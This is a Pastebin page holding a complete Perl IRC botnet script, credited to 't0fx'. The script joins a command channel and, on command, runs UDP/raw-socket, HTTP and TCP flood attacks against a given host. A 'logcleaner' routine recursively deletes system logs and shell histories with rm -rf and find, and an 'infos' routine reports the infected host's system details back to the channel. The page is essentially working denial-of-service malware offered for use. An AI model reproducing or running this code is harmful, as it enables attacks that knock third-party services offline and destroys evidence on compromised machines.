cybercode

DDoS - Perl #4 BOT (Complex)

Feb 20th, 2012
775
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 9.14 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. use IO::Socket::INET;
  3. use HTTP::Request;
  4. use LWP::UserAgent;
  5. use LWP::Simple;
  6. use URI::Escape;
  7.  
  8. print q{
  9. -------------------------------
  10.                 _____      
  11.   _____   _____/ ____\____  
  12. /     \ /  _ \   __\/  _ \
  13. |  Y Y  (  <_> )  | (  <_> )
  14. |__|_|  /\____/|__|  \____/
  15.       \/                    
  16. -------------------------------
  17. \\ m0f0 ddos priv8 by t0fx  //
  18. \\ credits to pitbull bot //
  19.   \\  europasecurity.org  //
  20.    \\  spam.ws //
  21.     \\------------------//
  22.  
  23. };
  24. #= CONFIGURATION =========================================#
  25. my $server = "romania.indoirc.net";                       #
  26. my $nick  = "[m0f0][" . int( rand(9999) ) . "]";          #
  27. my $port = "6667";                                        #
  28. my $channel = "#wreck";                                   #
  29. #= END OF CONFIGURATION ==================================#
  30.  
  31. my $name     = "mofo 8 *  : mofo";  
  32. print "\n";
  33. print "\n [+] Connecting to $server\n";
  34. $connection = IO::Socket::INET->new(PeerAddr=>"$server",
  35.                                     PeerPort=>"$port",
  36.                                     Proto=>'tcp',
  37.                                     Timeout=>'30') or die " [-] Couldnt connect to $server\n";
  38. print " [+] Connected to $server\n\n";                    
  39. print $connection "USER $name\n";
  40. print $connection "NICK $nick\r\n";
  41.  
  42. while($response = <$connection>)
  43.  
  44. {
  45.  
  46.      print $response;  #print IRC Response
  47.      if($response =~ m/:(.*) 00(.*) (.*) :/){print $connection "JOIN ".$channel."\r\n";}
  48.      if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!help/){&help;}    
  49.      if($response =~ m/^PING (.*?)$/gi){print $connection "PONG ".$1."\r\n";}  
  50.      if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!die/){&diebastard;}
  51.      if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!logcleaner/){&logcleaner;}
  52.      if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!infos/){&infos;}
  53.      if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  54. print $connection "PRIVMSG $channel : 6 | 6.: 12UDP DDos 6:. 6| 12 Attacking  6 ".$3."  12 with  6 ".$4."  12  packets during  6 ".$5."  12 seconds. \r\n";
  55. my ($dtime, %packets) =  udpflooder("$3", "$4", "$5");
  56. $dtime = 1 if $dtime == 0;
  57. my %bytes;  
  58. $bytes{igmp} = $4 * $packets{igmp};
  59. $bytes{icmp} = $4 * $packets{icmp};  
  60. $bytes{o} = $4 * $packets{o};
  61. $bytes{udp} = $4 * $packets{udp};  
  62. $bytes{tcp} = $4 * $packets{tcp};
  63. print $connection "PRIVMSG $channel : 6 | 6.: 12UDP DDos 6:. 6| 12 Results 6  ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)."  12KB in 6  ".$dtime."  12seconds  6 ".$3.".\r\n";
  64. }
  65.  
  66.      if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!httpflood\s+(.*)\s+(\d+)/) {  
  67. print $connection "PRIVMSG $channel : 6 | 6.: 6HTTP DDos 6:. 6| 12  Attacking   6 ".$3."  12 on port 80 during 6 ".$4."  12 seconds  .\r\n";
  68. my $itime  = time;
  69. my ($cur_time);
  70. $cur_time = time - $itime;
  71. while  ($4>$cur_time){
  72. $cur_time = time - $itime;
  73. my $socket =  IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$3, PeerPort=>80);
  74. print $socket "GET / HTTP/1.0\r\nAccept: */*\r\nHost: ".$3." \r\nConnection:  Keep-Alive\r\n\r\n";
  75. close($socket);
  76. }
  77. print $connection "PRIVMSG $channel : 6 | 6.: 6HTTP DDos 6:. 6| 12 Attack finished   6 ".$3.".\r\n";  
  78. }
  79.  
  80.      if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  81. print $connection "PRIVMSG $channel : 6 | 6.: 11TCP DDos 6:. 6| 12 Attacking   6 ".$3.":".$4."  12during  6 ".$5."   12seconds. \r\n";
  82.   my $itime = time;
  83.   my ($cur_time);
  84.   $cur_time =  time - $itime;
  85.   while ($5>$cur_time){
  86.   $cur_time = time - $itime;  
  87.   &tcpflooder("$3","$4","$5");
  88. }  
  89. print $connection "PRIVMSG $channel : 6 | 6.: 11TCP DDos 6:. 6|   12Attack finished   6 ".$3.":".$4.".\r\n";
  90. }
  91.  
  92. }
  93.  
  94. ################################################################################​############
  95. sub diebastard
  96. {
  97.      print $connection "PRIVMSG $channel : 8,1 Quitting... \r\n";
  98.             exec("pkill perl https.pl \n");  
  99. }
  100. ################################################################################​############
  101. sub help
  102. {
  103.      my $asker = $1;
  104. print $connection "PRIVMSG $channel : 6$asker  11[!] Help :\r\n";
  105. print $connection "PRIVMSG $channel : 6 | 6.: 12HTTP DDos 6:. 6|  11!httpflood <IP> <duration>\r\n";  
  106. print $connection "PRIVMSG $channel : 6 | 6.: 12UDP DDos 6:. 6|  11!udpflood <IP> <Packet size> <duration>\r\n";  
  107. print $connection "PRIVMSG $channel : 6 | 6.: 12TCP DDos 6:. 6|  11!tcpflood <IP> <Port> <duration>\r\n";  
  108. print $connection "PRIVMSG $channel : 6 | 6.: 12Log Cleaner 6:. 6|  11!logcleaner\r\n";
  109. print $connection "PRIVMSG $channel : 6 | 6.: 12Infos 6:. 6|  11!infos\r\n";
  110.  
  111. }
  112. ################################################################################​############
  113. sub logcleaner
  114. {
  115.      my $asker = $1;
  116.          print $connection "PRIVMSG $channel : 6$asker  11[!] Cleaning started\r\n";
  117.         system 'rm -rf  /var/log/lastlog';
  118.         system 'rm -rf /var/log/wtmp';
  119.         system 'rm -rf  /etc/wtmp';
  120.         system 'rm -rf /var/run/utmp';
  121.         system 'rm -rf  /etc/utmp';
  122.         system 'rm -rf /var/log';
  123.         system 'rm -rf /var/logs';  
  124.         system 'rm -rf /var/adm';
  125.         system 'rm -rf /var/apache/log';
  126.         system 'rm -rf /var/apache/logs';
  127.         system 'rm -rf /usr/local/apache/log';  
  128.         system 'rm -rf /usr/local/apache/logs';
  129.         system 'rm -rf  /root/.bash_history';
  130.         system 'rm -rf /root/.ksh_history';  
  131.          print $connection "PRIVMSG $channel : 6$asker  11[!] File Log bash_history Cleaned\r\n";
  132.         sleep 1;  
  133.          print $connection "PRIVMSG $channel : 6$asker  11[!] Cleaning files\r\n";
  134.         system 'find  / -name *.bash_history -exec rm -rf {} \;';
  135.         system 'find / -name  *.bash_logout -exec rm -rf {} \;';
  136.         system 'find / -name "log*" -exec rm  -rf {} \;';
  137.         system 'find / -name *.log -exec rm -rf {} \;';
  138.         sleep 1;
  139.          print $connection "PRIVMSG $channel : 6$asker  11[!] Cleaning Successfull\r\n";
  140.      
  141. }
  142.  
  143. ################################################################################​############
  144. sub  udpflooder {
  145. my $iaddr = inet_aton($_[0]);
  146. my $msg = 'A' x $_[1];
  147. my  $ftime = $_[2];
  148. my $cp = 0;
  149. my (%packets);
  150. $packets{icmp} =  $packets{igmp} = $packets{udp} = $packets{o} = $packets{tcp} = 0;  
  151. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  152. socket(SOCK2, PF_INET,  SOCK_DGRAM, 17) or $cp++;
  153. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;  
  154. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  155. return(undef) if $cp == 4;  
  156. my $itime = time;
  157. my ($cur_time);
  158. while ( 1 ) {
  159. for (my $fport =  1;
  160. $fport <= 65000; $fport++) {
  161. $cur_time = time - $itime;
  162. last  if $cur_time >= $ftime;
  163. send(SOCK1, $msg, 0, sockaddr_in($fport, $iaddr))  and $packets{igmp}++;
  164. send(SOCK2, $msg, 0, sockaddr_in($fport, $iaddr)) and  $packets{udp}++;
  165. send(SOCK3, $msg, 0, sockaddr_in($fport, $iaddr)) and  $packets{icmp}++;
  166. send(SOCK4, $msg, 0, sockaddr_in($fport, $iaddr)) and  $packets{tcp}++;
  167.  
  168.  
  169. for (my $pc = 3;
  170. $pc <= 255;$pc++) {  
  171. next if $pc == 6;
  172. $cur_time = time - $itime;
  173. last if $cur_time >=  $ftime;
  174. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  175. send(SOCK5, $msg,  0, sockaddr_in($fport, $iaddr)) and $packets{o}++;
  176. }
  177. }
  178. last if  $cur_time >= $ftime;
  179. }
  180. return($cur_time, %packets);
  181. }
  182. ################################################################################​############
  183. sub tcpflooder {
  184. my $itime = time;  
  185. my ($cur_time);
  186. my ($ia,$pa,$proto,$j,$l,$t);
  187. $ia=inet_aton($_[0]);  
  188. $pa=sockaddr_in($_[1],$ia);
  189. $ftime=$_[2];  
  190. $proto=getprotobyname('tcp');
  191. $j=0;$l=0;
  192. $cur_time = time - $itime;  
  193. while ($l<1000){
  194. $cur_time = time - $itime;
  195. last if $cur_time  >= $ftime;
  196. $t="SOCK$l";
  197. socket($t,PF_INET,SOCK_STREAM,$proto);  
  198. connect($t,$pa)||$j--;
  199. $j++;$l++;
  200. }
  201. $l=0;
  202. while  ($l<1000){
  203. $cur_time = time - $itime;
  204. last if $cur_time >= $ftime;  
  205. $t="SOCK$l";
  206. shutdown($t,2);
  207. $l++;
  208. }
  209. }
  210. ################################################################################​############
  211.  
  212. ################################################################################​############
  213. sub infos
  214. {      
  215. my $uname=`uname  -a`;
  216. my $uptime=`uptime`;
  217. my $ownd=`pwd`;
  218. my $distro=`cat /etc/issue`;
  219. my $id=`id`;
  220. my $un=`uname  -sro`;
  221. my $asker = $1;
  222. print $connection "PRIVMSG $channel : 6$asker  5[!] System infos :\r\n";
  223. print $connection "PRIVMSG $channel : 6 | 6.: 12Bot Info 6:. 6|  12Bot version     :  11 m0f0 v1 by t0fx\r\n";
  224. print $connection "PRIVMSG $channel : 6 | 6.: 12System Info 6:. 6|  12Uname -a     :  11 $uname\r\n";  
  225. print $connection "PRIVMSG $channel : 6 | 6.: 12System Info 6:. 6|  12Uptime       :  11  $uptime\r\n";  
  226. print $connection "PRIVMSG $channel : 6 | 6.: 12System Info 6:. 6|  12ID           :  11 $id\r\n";  
  227. print $connection "PRIVMSG $channel : 6 | 6.: 12System Info 6:. 6|  12Directory      :  11  $ownd\r\n"; ;
  228. print $connection "PRIVMSG $channel : 6 | 6.: 12System Info 6:. 6|  12OS           :  11 $distro\r\n";  
  229.  
  230. }
  231. ################################################################################​############
Advertisement
Add Comment
Please, Sign In to add comment